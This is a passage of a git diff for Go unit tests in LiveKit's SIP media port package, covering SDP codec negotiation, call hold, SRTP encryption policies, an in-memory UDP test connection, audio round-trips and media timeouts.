require.NoError(t, err) + + var names []string + for _, c := range offer.Codecs { + if c.Codec == nil || (offer.DTMFType != 0 && c.Type == offer.DTMFType) { + continue + } + names = append(names, c.Codec.Info().SDPName) + } + assert.Equal(t, []string{g711.ALawSDPNameAndRate}, names) + assert.NotZero(t, offer.DTMFType, "DTMF should still be offered") + }) + + t.Run("answer picks an enabled codec", func(t *testing.T) { + m := newLocked(t, g711.ALawSDPNameAndRate) + + // Peer offers both, only PCMA is enabled here. + offer := sdpWithMedia("m=audio 5004 RTP/AVP 0 8", + "a=rtpmap:0 PCMU/8000", "a=rtpmap:8 PCMA/8000") + answerData, err := m.GenerateAnswer(offer) + require.NoError(t, err) + assert.Equal(t, g711.ALawSDPNameAndRate, answerCodec(t, answerData)) + }) + + t.Run("offer without an enabled codec is rejected", func(t *testing.T) { + m := newLocked(t, g711.ALawSDPNameAndRate) + + offer := sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000") + _, err := m.GenerateAnswer(offer) + require.ErrorIs(t, err, sdp.ErrNoCommonMedia) + }) +} + +func TestMediaPortRejectsDifferentCodecOffer(t *testing.T) { + t.Skip("renegotiation is disabled: GenerateAnswer returns the prior answer when one already exists") + // TODO: change this test to confirm renegotiation when it's enabled + m := newTestPort(t, logger.NewTestLogger(t), newTestConn(1), &MediaOptions{ + IP: newIP("127.0.0.1"), + Codecs: testCodecSet(g711.ULawSDPNameAndRate, g722.SDPNameAndRate), + }, RoomSampleRate) + + sdpA := sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000") + sdpB := sdpWithMedia("m=audio 5004 RTP/AVP 9", "a=rtpmap:9 G722/8000") + + // Offer codec A + answer, err := m.GenerateAnswer(sdpA) + require.NoError(t, err) + require.Equal(t, g711.ULawSDPNameAndRate, answerCodec(t, answer)) + + // Attempt to offer only codec B, expect failure + answer, err = m.GenerateAnswer(sdpB) + require.ErrorIs(t, err, sdp.ErrNoCommonMedia) + + // Offer codec A again, expect success + answer, err = m.GenerateAnswer(sdpA) + require.NoError(t, err) + require.Equal(t, g711.ULawSDPNameAndRate, answerCodec(t, answer)) +} + +// Renegotiation rebuilds the pipeline under the same port and keeps audio flowing, +// including across a codec change that moves the encoder's sample rate. +func TestMediaPortRenegotiation(t *testing.T) { + t.Skip("renegotiation is disabled: GenerateAnswer returns the prior answer when one already exists") + t.Run("repeated", func(t *testing.T) { + m1, m2 := newMediaPair(t, nil, nil, "", RoomSampleRate) + + recv2 := &recvBuffer{} + m2.WriteInboundAudioTo(recv2) + requireAudioFlows(t, m1, recv2) + + for range 3 { + negotiate(t, m1, m2) + + local, err := m1.GetLocalSDP() + require.NoError(t, err) + assert.NotEmpty(t, local) + + // The room-facing writers survive the rebuild, and the new pipeline sends. + assert.NotNil(t, m1.audioOut.Get()) + requireAudioFlows(t, m1, recv2) + } + }) + + t.Run("codec change", func(t *testing.T) { + c1, c2 := newUDPPipe() + log := logger.NewTestLogger(t) + + m1 := newTestPort(t, log.WithName("one"), c1, &MediaOptions{ + IP: newIP("1.1.1.1"), + Ports: rtcconfig.PortRange{Start: 10000}, + }, RoomSampleRate) + m2 := newTestPort(t, log.WithName("two"), c2, &MediaOptions{ + IP: newIP("2.2.2.2"), + Ports: rtcconfig.PortRange{Start: 20000}, + Codecs: testCodecSet(g711.ULawSDPNameAndRate), + }, RoomSampleRate) + + answerData := negotiate(t, m1, m2) + require.Equal(t, g711.ULawSDPNameAndRate, answerCodec(t, answerData)) + + recv2 := &recvBuffer{} + m2.WriteInboundAudioTo(recv2) + requireAudioFlows(t, m1, recv2) + + // G722 samples at 16k, so the encode leaf changes sample rate under the same + // room-facing switch. + m2.codecs = testCodecSet(g722.SDPNameAndRate) + + answerData = negotiate(t, m1, m2) + require.Equal(t, g722.SDPNameAndRate, answerCodec(t, answerData)) + + requireAudioFlows(t, m1, recv2) + }) +} + +// A peer that will not receive (RFC 3264 a=sendonly, or the legacy c=0.0.0.0) stops our +// media without stopping theirs, and resumes on the next offer. +func TestMediaPortHold(t *testing.T) { + t.Skip("hold requires renegotiation: configure returns without rebuilding when a pipeline already exists") + cases := []struct { + name string + hold func(t *testing.T, offer string) string + }{ + { + name: "sendonly", + hold: func(t *testing.T, offer string) string { + held := strings.Replace(offer, "a=sendrecv", "a=sendonly", 1) + require.NotEqual(t, offer, held) + return held + }, + }, + { + name: "zero connection address", + hold: func(t *testing.T, offer string) string { + held := strings.ReplaceAll(offer, "c=IN IP4 2.2.2.2", "c=IN IP4 0.0.0.0") + require.NotEqual(t, offer, held) + return held + }, + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + m1, m2 := newMediaPair(t, nil, nil, "", RoomSampleRate) + + recv1 := &recvBuffer{} + m1.WriteInboundAudioTo(recv1) + recv2 := &recvBuffer{} + m2.WriteInboundAudioTo(recv2) + + // Baseline: m1 sends to m2. + require.NotNil(t, m1.audioOut.Get()) + requireAudioFlows(t, m1, recv2) + + // m2 re-INVITEs with the hold form of its offer. + base, err := m2.GenerateOffer() + require.NoError(t, err) + _, err = m1.GenerateAnswer([]byte(tc.hold(t, string(base)))) + require.NoError(t, err) + + // m1 no longer sends: no destination to write to, and the room-facing + // writer is detached. Room audio is dropped rather than erroring. + dst := m1.port.dst.Load() + if assert.NotNil(t, dst) { + assert.True(t, dst.Addr().IsUnspecified(), "held port kept a destination: %v", dst) + } + assert.Nil(t, m1.audioOut.Get(), "held port still accepts room audio") + assert.NoError(t, m1.GetOutboundAudioWriter().WriteSample(roomFrame())) + + sent := recv2.count() + writeFrames(m1, 10) + time.Sleep(100 * time.Millisecond) + assert.Equal(t, sent, recv2.count(), "held port kept sending") + + // ...while m2's media still reaches us. + requireAudioFlows(t, m2, recv1) + + // Resume with the original offer. + _, err = m1.GenerateAnswer(base) + require.NoError(t, err) + + dst = m1.port.dst.Load() + if assert.NotNil(t, dst) { + assert.False(t, dst.Addr().IsUnspecified(), "destination not restored") + assert.Equal(t, m2.Port(), int(dst.Port())) + } + assert.NotNil(t, m1.audioOut.Get()) + + requireAudioFlows(t, m1, recv2) + }) + } +} + +var policyToString = map[sdp.Encryption]string{ + sdp.EncryptionNone: "none", + sdp.EncryptionAllow: "allow", + sdp.EncryptionRequire: "require", +} + +func TestMediaPortEncryptionPolicy(t *testing.T) { + encryptionPolicies := []sdp.Encryption{ + sdp.EncryptionNone, + sdp.EncryptionAllow, + sdp.EncryptionRequire, + } + + forEach := func(t *testing.T, negotiate func(t *testing.T, mp *mediaPort, policy sdp.Encryption) (*sdp.MediaConfig, error)) { + for _, portEncryptionPolicy := range encryptionPolicies { + name := "port=" + policyToString[portEncryptionPolicy] + t.Run(name, func(t *testing.T) { + for _, remoteEncryptionPolicy := range encryptionPolicies { + name := "remote=" + policyToString[remoteEncryptionPolicy] + t.Run(name, func(t *testing.T) { + opts := &MediaOptions{ + IP: netip.MustParseAddr("1.1.1.1"), + Ports: rtcconfig.PortRange{Start: 10000}, + Encryption: portEncryptionPolicy, + } + conn := newTestConn(1) + mp := newTestPort(t, logger.NewTestLogger(t), conn, opts, RoomSampleRate) + + mc, err := negotiate(t, mp, remoteEncryptionPolicy) + if portEncryptionPolicy != sdp.EncryptionAllow && remoteEncryptionPolicy != sdp.EncryptionAllow && portEncryptionPolicy != remoteEncryptionPolicy { + // Expect failue + assert.Error(t, err) + assert.ErrorIs(t, err, sdp.ErrNoCommonCrypto) + return + } + // Expect success + assert.NoError(t, err) + if portEncryptionPolicy == sdp.EncryptionNone || remoteEncryptionPolicy == sdp.EncryptionNone { + assert.Nil(t, mc.Crypto) + } else { + assert.NotNil(t, mc.Crypto) + } + }) + } + }) + } + } + + t.Run("inbound", func(t *testing.T) { // Receive offer + negotiate := func(t *testing.T, mp *mediaPort, policy sdp.Encryption) (*sdp.MediaConfig, error) { + offer, err := sdp.NewOfferWith(defaultCodecs, newIP("127.0.0.1"), 5004, policy) + require.NoError(t, err) + offerData, err := offer.SDP.Marshal() + require.NoError(t, err) + answerData, err := mp.GenerateAnswer(offerData) + if err != nil { + return nil, err + } + answer, err := parseAnswerWith(logger.NewTestLogger(t), nil, defaultCodecs, answerData) + require.NoError(t, err) + mc, _, err := answer.ApplyWithLocal(offer, policy) + return mc, err + } + forEach(t, negotiate) + }) + + t.Run("outbound", func(t *testing.T) { // Send offer, receive answer + negotiate := func(t *testing.T, mp *mediaPort, policy sdp.Encryption) (*sdp.MediaConfig, error) { + offerData, err := mp.GenerateOffer() + require.NoError(t, err) + offer, err := parseOfferWith(logger.NewTestLogger(t), nil, defaultCodecs, offerData) + require.NoError(t, err) + answer, mc, err := offer.Answer(newIP("127.0.0.1"), 5004, policy) + if errors.Is(err, sdp.ErrNoCommonCrypto) { + return mc, err + } + require.NoError(t, err) + answerData, err := answer.SDP.Marshal() + require.NoError(t, err) + return mc, mp.ProcessAnswer(answerData) + } + forEach(t, negotiate) + }) +} diff --git a/pkg/sip/media_port_test.go b/pkg/sip/media_port_test.go index 2675bf947..a9f141e00 100644 --- a/pkg/sip/media_port_test.go +++ b/pkg/sip/media_port_test.go @@ -1,982 +1,987 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "errors" - "fmt" - "io" - "math" - "net" - "net/netip" - "os" - "slices" - "strings" - "sync" - "sync/atomic" - "testing" - "time" - - "github.com/prometheus/client_golang/prometheus" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/media-sdk/srtp" - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/logger" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" -) - -const ( - parsedMetric = "livekit_sip_sdp_parsed_total" - offeredMetric = "livekit_sip_codec_offered_total" -) - -func newTestCallMonitor(t testing.TB) *stats.CallMonitor { - mon, err := stats.NewMonitor(&config.Config{}) - require.NoError(t, err) - require.NoError(t, mon.Start(&config.Config{})) - t.Cleanup(mon.Stop) - return mon.NewCall(stats.Inbound, "test", "test") -} - -func newTestMediaPort(t testing.TB, provider string) MediaPort { - t.Helper() - mon := newTestCallMonitor(t) - mon.SetProvider(provider) - mp, err := NewMediaPortWith(logger.NewTestLogger(t), mon, nil, &MediaOptions{ - IP: netip.MustParseAddr("127.0.0.1"), - }, 8000) - require.NoError(t, err) - t.Cleanup(func() { mp.Close() }) - return mp -} - -type testUDPConn struct { - addr netip.AddrPort - closed chan struct{} - buf chan []byte - peer atomic.Pointer[testUDPConn] - - // Deadlines follow net.Conn: the latest value wins, zero clears it. The value - // lives in the guarded field and kick only wakes a parked reader, so coalescing - // a wakeup can never drop a deadline - which would strand Close() forever. - dmu sync.Mutex - deadline time.Time - kick chan struct{} -} - -func (c *testUDPConn) Read(b []byte) (int, error) { - n, _, err := c.ReadFromUDPAddrPort(b) - return n, err -} - -func (c *testUDPConn) Write(b []byte) (int, error) { - return c.WriteToUDPAddrPort(b, netip.AddrPort{}) -} - -func (c *testUDPConn) RemoteAddr() net.Addr { - p := c.peer.Load() - if p == nil { - return &net.UDPAddr{} - } - return p.LocalAddr() -} - -func (c *testUDPConn) SetDeadline(t time.Time) error { - c.SetReadDeadline(t) - return nil -} - -func (c *testUDPConn) SetReadDeadline(t time.Time) error { - c.dmu.Lock() - c.deadline = t - c.dmu.Unlock() - select { - case c.kick <- struct{}{}: - default: - } - return nil -} - -func (c *testUDPConn) readDeadline() time.Time { - c.dmu.Lock() - defer c.dmu.Unlock() - return c.deadline -} - -func (c *testUDPConn) SetWriteDeadline(t time.Time) error { - return nil -} - -func (c *testUDPConn) ReadFromUDPAddrPort(buf []byte) (int, netip.AddrPort, error) { - peer := c.peer.Load() - if peer == nil { - return 0, netip.AddrPort{}, io.ErrClosedPipe - } - - for { - var ( - deadlineCh <-chan time.Time - timer *time.Timer - ) - if dl := c.readDeadline(); !dl.IsZero() { - timer = time.NewTimer(time.Until(dl)) - deadlineCh = timer.C - } - - select { - case <-c.closed: - stopTimer(timer) - return 0, netip.AddrPort{}, io.ErrClosedPipe - case <-deadlineCh: - return 0, netip.AddrPort{}, os.ErrDeadlineExceeded - case <-c.kick: - stopTimer(timer) // deadline changed, re-arm - continue - case data := <-c.buf: - stopTimer(timer) - n := copy(buf, data) - var err error - if n < len(data) { - err = io.ErrShortBuffer - } - return n, peer.addr, err - } - } -} - -func stopTimer(t *time.Timer) { - if t != nil { - t.Stop() - } -} - -func (c *testUDPConn) WriteToUDPAddrPort(buf []byte, addr netip.AddrPort) (int, error) { - peer := c.peer.Load() - if peer == nil { - return 0, io.ErrClosedPipe - } else if peer.addr.String() != addr.String() { - panic("unexpected address") - } - buf = slices.Clone(buf) - select { - default: - return 0, io.ErrShortWrite - case <-peer.closed: - return 0, io.ErrClosedPipe - case peer.buf <- buf: - return len(buf), nil - } -} - -func (c *testUDPConn) LocalAddr() net.Addr { - return &net.UDPAddr{ - IP: c.addr.Addr().AsSlice(), - Port: int(c.addr.Port()), - } -} - -func (c *testUDPConn) Close() error { - if c.peer.Swap(nil) != nil { - close(c.closed) - } - return nil -} - -func newTestConn(i int) *testUDPConn { - return &testUDPConn{ - addr: netip.AddrPortFrom( - netip.AddrFrom4([4]byte{byte(i), byte(i), byte(i), byte(i)}), - uint16(10000*i), - ), - buf: make(chan []byte, 256), - closed: make(chan struct{}), - kick: make(chan struct{}, 1), - } -} - -func newUDPPipe() (c1, c2 *testUDPConn) { - c1 = newTestConn(1) - c2 = newTestConn(2) - c1.peer.Store(c2) - c2.peer.Store(c1) - return -} - -func newIP(v string) netip.Addr { - ip, err := netip.ParseAddr(v) - if err != nil { - panic(err) - } - return ip -} - -// newTestPort is NewMediaPortWith for tests: it keeps the concrete type, so tests can reach -// the udpConn and the timeout controls that are not part of the MediaPort interface. -func newTestPort(t testing.TB, log logger.Logger, conn UDPConn, opts *MediaOptions, rate int) *mediaPort { - t.Helper() - mp, err := NewMediaPortWith(log, newTestCallMonitor(t), conn, opts, rate) - require.NoError(t, err) - t.Cleanup(mp.Close) - return mp.(*mediaPort) -} - -func offerAt(t testing.TB, addr netip.AddrPort) []byte { - t.Helper() - return offerAtEnc(t, addr, sdp.EncryptionNone) -} - -func offerAtEnc(t testing.TB, addr netip.AddrPort, enc sdp.Encryption) []byte { - t.Helper() - offer, err := sdp.NewOfferWith(defaultCodecs, addr.Addr(), int(addr.Port()), enc) - require.NoError(t, err) - data, err := offer.SDP.Marshal() - require.NoError(t, err) - return data -} - -func TestMediaPortUpdateRemote(t *testing.T) { - c1, _ := newUDPPipe() - mp := newTestPort(t, logger.NewTestLogger(t), c1, &MediaOptions{ - IP: netip.MustParseAddr("127.0.0.1"), - }, RoomSampleRate) - - require.False(t, mp.RemoteAddr().IsValid(), "RemoteAddr should be invalid before any offer") - - addr := netip.MustParseAddrPort("9.8.7.6:12345") - _, err := mp.GenerateAnswer(offerAt(t, addr)) - require.NoError(t, err) - require.Equal(t, addr, mp.RemoteAddr(), "GenerateAnswer should set RemoteAddr from the offer") - - // Body-less re-INVITE: empty offer returns the local SDP and must not change dest. - _, err = mp.GenerateAnswer(nil) - require.NoError(t, err) - require.Equal(t, addr, mp.RemoteAddr(), "empty offer should not change RemoteAddr") - - // Hold form c=0.0.0.0 must not clobber dest once media is established. - _, err = mp.GenerateAnswer(offerAt(t, netip.MustParseAddrPort("0.0.0.0:12345"))) - require.NoError(t, err) - require.Equal(t, addr, mp.RemoteAddr(), "offer with unspecified addr should not change RemoteAddr") - - // successful re-INVITE update - addr = netip.MustParseAddrPort("10.10.10.10:54321") - _, err = mp.GenerateAnswer(offerAt(t, addr)) - require.NoError(t, err) - require.Equal(t, addr, mp.RemoteAddr(), "re-INVITE offer should update RemoteAddr") -} - -// Re-INVITE with the original offer SDP and crypto material must result in -// re-use of already-negotiated keys. -func TestMediaPortReinviteSameCrypto(t *testing.T) { - c1, _ := newUDPPipe() - mp := newTestPort(t, logger.NewTestLogger(t), c1, &MediaOptions{ - IP: netip.MustParseAddr("127.0.0.1"), - Encryption: sdp.EncryptionRequire, - }, RoomSampleRate) - - addr := netip.MustParseAddrPort("9.8.7.6:12345") - offer := offerAtEnc(t, addr, sdp.EncryptionRequire) - - _, err := mp.GenerateAnswer(offer) - require.NoError(t, err) - require.Equal(t, addr, mp.RemoteAddr()) - - require.NotNil(t, mp.negotiated) - require.NotNil(t, mp.negotiated.Crypto) - localKey := slices.Clone(mp.negotiated.Crypto.Keys.LocalMasterKey) - localSalt := slices.Clone(mp.negotiated.Crypto.Keys.LocalMasterSalt) - require.NotEmpty(t, localKey) - require.NotEmpty(t, localSalt) - localSDP, err := mp.GetLocalSDP() - require.NoError(t, err) - require.NotEmpty(t, localSDP) - - // Same offer bytes: NewOfferWith would generate a new peer key. - _, err = mp.GenerateAnswer(offer) - require.NoError(t, err, "re-INVITE with the same offer must be accepted") - require.Equal(t, addr, mp.RemoteAddr(), "same offer must not change dest") - require.Equal(t, localKey, mp.negotiated.Crypto.Keys.LocalMasterKey, "local master key must not change") - require.Equal(t, localSalt, mp.negotiated.Crypto.Keys.LocalMasterSalt, "local master salt must not change") - gotSDP, err := mp.GetLocalSDP() - require.NoError(t, err) - require.Equal(t, localSDP, gotSDP, "local SDP (including a=crypto) must not change") -} - -func TestMediaPortReofferSameCrypto(t *testing.T) { - c1, _ := newUDPPipe() - mp := newTestPort(t, logger.NewTestLogger(t), c1, &MediaOptions{ - IP: netip.MustParseAddr("127.0.0.1"), - Encryption: sdp.EncryptionRequire, - }, RoomSampleRate) - - newOffer := func(t testing.TB, mp *mediaPort, localCrypto []srtp.Profile) (*sdp.Offer, *sdp.MediaConfig) { - t.Helper() - addr := netip.MustParseAddrPort("9.8.7.6:12345") - offerData, err := mp.GenerateOffer() - require.NoError(t, err) - offer, err := sdp.ParseOfferWith(defaultCodecs, offerData) - require.NoError(t, err) - answer, mc, err := offer.Answer(addr.Addr(), int(addr.Port()), sdp.EncryptionRequire, sdp.WithLocalProfiles(localCrypto)) - require.NoError(t, err) - answerData, err := answer.SDP.Marshal() - require.NoError(t, err) - err = mp.ProcessAnswer(answerData) - require.NoError(t, err) - require.Nil(t, mp.offer) - return offer, mc - } - localCrypto, err := srtp.DefaultProfiles() - require.NoError(t, err) - offer1, mc1 := newOffer(t, mp, localCrypto) - offer2, mc2 := newOffer(t, mp, localCrypto) - - // Offers must not regenerate keys - require.Equal(t, offer1.CryptoProfiles, offer2.CryptoProfiles, "crypto profiles must not change") - require.Equal(t, mc1.Crypto.Keys.RemoteMasterKey, mc2.Crypto.Keys.RemoteMasterKey, "remote master key must not change") - require.Equal(t, mc1.Crypto.Keys.RemoteMasterSalt, mc2.Crypto.Keys.RemoteMasterSalt, "remote master salt must not change") -} - -// negotiate runs a full offer/answer between two ports, m1 offering, and returns the answer. -func negotiate(t testing.TB, m1, m2 *mediaPort) []byte { - t.Helper() - offerData, err := m1.GenerateOffer() - require.NoError(t, err) - - answerData, err := m2.GenerateAnswer(offerData) - require.NoError(t, err) - - require.NoError(t, m1.ProcessAnswer(answerData)) - - m2.SetTimeout(m2.opts.MediaTimeoutInitial, m2.opts.MediaTimeout) - return answerData -} - -func newMediaPair(t testing.TB, opt1, opt2 *MediaOptions, codec string, targetRate int) (m1, m2 *mediaPort) { - return newMediaPairWithAddr(t, newIP("1.1.1.1"), newIP("2.2.2.2"), opt1, opt2, codec, targetRate) -} - -func newMediaPairWithAddr(t testing.TB, ip1, ip2 netip.Addr, opt1, opt2 *MediaOptions, codec string, targetRate int) (m1, m2 *mediaPort) { - if opt1 == nil { - opt1 = &MediaOptions{} - } - if opt2 == nil { - opt2 = &MediaOptions{} - } - c1, c2 := newUDPPipe() - - if targetRate <= 0 { - targetRate = RoomSampleRate - } - - opt1.IP = ip1 - opt1.Ports = rtcconfig.PortRange{Start: 10000} - if codec != "" { - opt1.Codecs = testCodecSet(codec) - } - - opt2.IP = ip2 - opt2.Ports = rtcconfig.PortRange{Start: 20000} - if codec != "" { - opt2.Codecs = testCodecSet(codec) - } - - log := logger.NewTestLogger(t) - - m1 = newTestPort(t, log.WithName("one"), c1, opt1, targetRate) - m2 = newTestPort(t, log.WithName("two"), c2, opt2, targetRate) - - negotiate(t, m1, m2) - return m1, m2 -} - -type codecConfig struct { - rampUpFrames int - offsetSamples int -} - -var codecConfigMap = map[string]codecConfig{ - "G722/8000": {rampUpFrames: 1, offsetSamples: 22}, - "AMR-WB/16000": {rampUpFrames: 1, offsetSamples: 14 + 16}, -} - -func TestMediaPortAudioRoundTrip(t *testing.T) { - // Production resampler delay is tiny but not deterministic; checkPCM needs a stable delay. - prevOpts := msdk.DefaultResampleOptions - msdk.DefaultResampleOptions = []msdk.ResampleOption{ - msdk.WithPredictableResample(true), - } - defer func() { - msdk.DefaultResampleOptions = prevOpts - }() - - for _, codec := range allAudioCodecs() { - info := codec.Info() - t.Run(strings.ReplaceAll(info.SDPName, "/", "-"), func(t *testing.T) { - for _, resample := range []bool{true, false} { - t.Run(fmt.Sprintf("resample=%t", resample), func(t *testing.T) { - for _, enc := range []sdp.Encryption{sdp.EncryptionNone, sdp.EncryptionRequire} { - t.Run("enc="+policyToString[enc], func(t *testing.T) { - - opts1 := &MediaOptions{Encryption: enc} - opts2 := &MediaOptions{Encryption: enc} - targetRate := RoomSampleRate - if !resample { - targetRate = info.SampleRate - } - m1, m2 := newMediaPair(t, opts1, opts2, info.SDPName, targetRate) - - var recv1, recv2 msdk.PCM16Sample - h1 := msdk.NewPCM16BufferWriter(&recv1, targetRate) - h2 := msdk.NewPCM16BufferWriter(&recv2, targetRate) - m1.WriteInboundAudioTo(h1) - m2.WriteInboundAudioTo(h2) - - w1 := m1.GetOutboundAudioWriter() - w2 := m2.GetOutboundAudioWriter() - - packetSize := targetRate / int(time.Second/rtp.DefFrameDur) - to2 := make(msdk.PCM16Sample, packetSize) - to1 := make(msdk.PCM16Sample, packetSize) - const ( - amp1 = 10000 - amp2 = 5000 - freq = 10 - ) - for i := range packetSize { - to2[i] = int16(amp1 * math.Sin(freq*2*math.Pi*float64(i)/float64(packetSize))) - to1[i] = int16(amp2 * math.Sin(freq*2*math.Pi*float64(i)/float64(packetSize))) - } - - codecConfig := codecConfigMap[info.SDPName] // defaults to 0,0 - - // Ramp-up time for the codec. - // Some codecs have "inertia" and cannot immediately represent the sound exactly. - // This is why we write signal multiple times to give it some time to adapt. - // We will also cut the ramp-up part from the destination buffer before comparing. - // This variable is in full frames, so that we clearly see where frames start to calculate the offset below. - rampUpFrames := codecConfig.rampUpFrames - // Some codecs have an extra buffering internally, and we have to offset the compared sample - // by this number of sampled values. - offsetSamples := codecConfig.offsetSamples - - writes := 1 + rampUpFrames - discard := rampUpFrames * packetSize - resampleMult := targetRate / info.SampleRate - offsetSamples *= resampleMult - - var wg sync.WaitGroup - wg.Add(2) - go func() { - defer wg.Done() - for range writes { - require.NoError(t, w1.WriteSample(to2)) - } - }() - go func() { - defer wg.Done() - for range writes { - require.NoError(t, w2.WriteSample(to1)) - } - }() - wg.Wait() - - time.Sleep(time.Second / 4) - - h1.Close() - h2.Close() - m1.Close() - m2.Close() - - checkPCM(t, "A -> B", to2[:packetSize-offsetSamples], recv2[discard+offsetSamples:]) - checkPCM(t, "B -> A", to1[:packetSize-offsetSamples], recv1[discard+offsetSamples:]) - }) - } - - }) - } - - }) - } -} - -func checkPCM(t testing.TB, name string, exp, got msdk.PCM16Sample) { - t.Helper() - require.Equal(t, len(exp), len(got)) - - minV := slices.Min(exp) - maxV := slices.Max(exp) - - // Allow 10% of deviation from original. - const perc = 0.1 - delta := int16(math.Abs(float64(maxV-minV) * perc)) - - hits := 0 - - var minD, maxD int16 = math.MaxInt16, 0 - for i, v := range got { - dv := v - exp[i] - if dv < 0 { - dv = -dv - } - if dv < delta { - hits++ - } - minD = min(minD, dv) - maxD = max(maxD, dv) - } - - // 90% of the samples should match. - const percHit = 0.90 - expHit := int(float64(len(exp)) * percHit) - require.True(t, hits >= expHit, "%s: insufficient number of good samples: %v/%v\nminD=%v, maxD=%v, allowed=%v\nmin=%v, max=%v\nexp:\n%v\ngot:\n%v", - name, - hits, expHit, - minD, maxD, delta, - slices.Min(got), slices.Max(got), - exp, got, - ) -} - -func TestPipelineChains(t *testing.T) { - for _, codec := range enabledAudioCodecs() { - t.Run(codec.Info().SDPName, func(t *testing.T) { - // Create new test media port - // Process offer with a specific codec + dtmf - codecs := testCodecSet(codec.Info().SDPName) - opts := &MediaOptions{ - IP: netip.MustParseAddr("1.1.1.1"), - Ports: rtcconfig.PortRange{Start: 10000}, - Codecs: codecs, - } - conn := newTestConn(1) - mp := newTestPort(t, logger.NewTestLogger(t), conn, opts, RoomSampleRate) - - info := codec.Info() - offer, err := sdp.NewOfferWith(codecs, netip.MustParseAddr("2.2.2.2"), 20000, sdp.EncryptionNone) - require.NoError(t, err) - answerData, err := offer.SDP.Marshal() - require.NoError(t, err) - _, err = mp.GenerateAnswer(answerData) - require.NoError(t, err) - - codecName := strings.Split(info.SDPName, "/")[0] - sampleRate := info.SampleRate - clockRate := info.RTPClockRate - payloadType := info.RTPDefType - audioOutChain := fmt.Sprintf("WriteCloserSwitch(%d) -> LatencyEntry -> Resample(%d->%d) -> %s(encode) -> ByteEncoder(%d) -> StatsWriter(%s/%d) -> LatencyExit -> RTPWriteStream(:0)", - RoomSampleRate, RoomSampleRate, sampleRate, codecName, sampleRate, codecName, clockRate) - audioInChain := fmt.Sprintf("StatsHandler(%s/%d) -> SilenceFiller(25) -> RTP(%d) -> ByteDecoder -> %s(decode) -> Resample(%d->%d) -> LatencyExit -> WriteCloserSwitch(nil)", - codecName, clockRate, payloadType, codecName, sampleRate, RoomSampleRate) - dtmfOutChain := fmt.Sprintf("WriteCloserSwitch(%d) -> dtmfOutWriter(dtmfAudio: false)", clockRate) - dtmfInChain := fmt.Sprintf("StatsHandler(telephone-event/%d) -> HandlerFunc", clockRate) - assert.Equal(t, audioOutChain, mp.GetOutboundAudioWriter().String(), "out audio chain mismatch") - assert.Equal(t, audioInChain, mp.pipeline.audioToRoom.String(), "in audio chain mismatch") - assert.Equal(t, dtmfOutChain, mp.GetOutboundDTMFWriter().String(), "out dtmf chain mismatch") - assert.Equal(t, dtmfInChain, mp.pipeline.dtmfToRoom.String(), "in dtmf chain mismatch") - }) - } -} - -// pushAudio writes two room-rate frames. The outbound resampler keeps a one-frame -// delay (soxr returns a short buffer on the first call), so a single WriteSample -// never produces RTP when the port runs at RoomSampleRate. -func pushAudio(t testing.TB, w msdk.PCM16Writer) { - t.Helper() - frame := roomFrame() - require.NoError(t, w.WriteSample(frame)) - require.NoError(t, w.WriteSample(frame)) -} - -func TestMediaTimeout(t *testing.T) { - const ( - codec = "G722/8000" - timeout = time.Second / 4 - initial = timeout * 2 - dt = timeout / 4 - ) - - t.Run("initial", func(t *testing.T) { - m1, _ := newMediaPair(t, &MediaOptions{ - MediaTimeoutInitial: initial, - MediaTimeout: timeout, - }, nil, codec, RoomSampleRate) - - targ := time.Now().Add(initial) - select { - case <-m1.MediaTimeout(): - t.Fatal("initial timeout ignored") - case <-time.After(initial / 2): - } - - select { - case <-time.After(time.Until(targ) + dt): - t.Fatal("timeout didn't trigger") - case <-m1.MediaTimeout(): - } - }) - - t.Run("regular", func(t *testing.T) { - m1, m2 := newMediaPair(t, &MediaOptions{ - MediaTimeoutInitial: initial, - MediaTimeout: timeout, - }, nil, codec, RoomSampleRate) - - w2 := m2.GetOutboundAudioWriter() - pushAudio(t, w2) - - select { - case <-time.After(dt): - t.Fatal("no media received") - case <-m1.Received(): - } - - select { - case <-time.After(2*timeout + dt): - t.Fatal("timeout didn't trigger") - case <-m1.MediaTimeout(): - } - }) - - t.Run("no timeout", func(t *testing.T) { - m1, m2 := newMediaPair(t, &MediaOptions{ - MediaTimeoutInitial: initial, - MediaTimeout: timeout, - }, nil, codec, RoomSampleRate) - - w2 := m2.GetOutboundAudioWriter() - - for i := 0; i < 10; i++ { - pushAudio(t, w2) - - select { - case <-time.After(timeout / 2): - case <-m1.MediaTimeout(): - t.Fatal("timeout") - } - } - }) - - t.Run("reset timeout after media", func(t *testing.T) { - m1, m2 := newMediaPair(t, &MediaOptions{ - MediaTimeoutInitial: initial, - MediaTimeout: timeout, - }, nil, codec, RoomSampleRate) - - w2 := m2.GetOutboundAudioWriter() - - for i := 0; i < 5; i++ { - pushAudio(t, w2) - - select { - case <-time.After(timeout / 2): - case <-m1.MediaTimeout(): - t.Fatal("timeout") - } - } - - // Once media has flowed, SetTimeout does not re-enter the initial window — - // the general timeout applies relative to the last received RTP packet. - // Last packet arrived at most timeout/2 ago, so the timeout should fire - // within ~timeout from now, well before initial would elapse. - m1.SetTimeout(initial, timeout) - - select { - case <-time.After(timeout + dt): - t.Fatal("timeout didn't trigger") - case <-m1.MediaTimeout(): - } - }) - - t.Run("reset timeout before any media", func(t *testing.T) { - m1, _ := newMediaPair(t, &MediaOptions{ - MediaTimeoutInitial: initial, - MediaTimeout: timeout, - }, nil, codec, RoomSampleRate) - - // No media has ever arrived. SetTimeout re-arms startTime, and since the - // port has never seen an RTP packet, the new initial window applies from - // the moment of the SetTimeout call. - time.Sleep(initial / 2) - m1.SetTimeout(initial, timeout) - 